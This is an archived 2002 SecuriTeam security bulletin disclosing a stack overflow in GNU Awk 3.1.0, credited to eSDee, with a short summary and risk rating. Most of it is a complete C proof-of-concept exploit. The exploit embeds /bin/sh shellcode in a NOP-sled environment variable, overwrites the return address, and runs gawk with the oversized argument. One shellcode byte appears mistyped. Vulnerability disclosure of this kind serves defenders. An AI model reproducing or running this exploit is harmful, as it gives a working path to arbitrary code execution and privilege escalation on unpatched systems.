

# [EXPL] Gawk Contains an Exploitable Buffer Overflow

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0066.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 04/17/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 17 Apr 2002 20:09:58 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Gawk Contains an Exploitable Buffer Overflow

---

## SUMMARY

<<http://www.gnu.org/software/gawk/gawk.html>> GNU Awk (gawk) is a pattern scanning and processing language and implementation of the AWK programming language. An exploitable stack overflow has been found in the product that allows attackers to execute arbitrary code by overflowing its internal buffers.

## DETAILS

Vulnerable systems:

Gawk version 3.1.0

Risk:

Low. Gawk is not setuid by default, however several programs use it, opening a possibility of privilege escalation.

Exploit:

```
/* local GNU Awk 3.1.0-x proof of concept exploit */
```

```
#include <stdio.h>
```

```
#include <sys/signal.h>
```

## Securiteam: [EXPL] Gawk Contains an Exploitable Buffer Overflow

```
void aborted(int);

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int
main()
{
    unsigned long ret = 0xbffffd30;
    char buf[8214];
    char egg[1024];
    char *ptr;

    int i=0;

    memset(buf,0x90,sizeof(buf));
    ptr = egg;

    for (i = 0; i < 1024 - strlen(shellcode) - 1; i++) *(ptr++) = '\x90';
    for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

    egg[1024 - 1] = '\0';
    memcpy(egg,"EGG=",4);
    putenv(egg);

    buf[8209] = (ret & 0x000000ff);
    buf[8210] = (ret & 0x0000ff00) >> 8;
    buf[8211] = (ret & 0x00ff0000) >> 16;
    buf[8212] = (ret & 0xff000000) >> 24;
    buf[8213] = 0x00;

    printf("local GNU Awk 3.1.0-x proof of concept exploit\n");
    printf("ret: 0x%x\n",ret);
    printf("buf: %d\n\n",strlen(buf));

    execl("/usr/bin/gawk", "gawk", "-f" , buf, NULL);
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:eSDee@netric.org>> eSDee.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

## Securiteam: [EXPL] Gawk Contains an Exploitable Buffer Overflow

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[EXPL] Posadis Format String and Buffer Overflow Exploit Codes"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)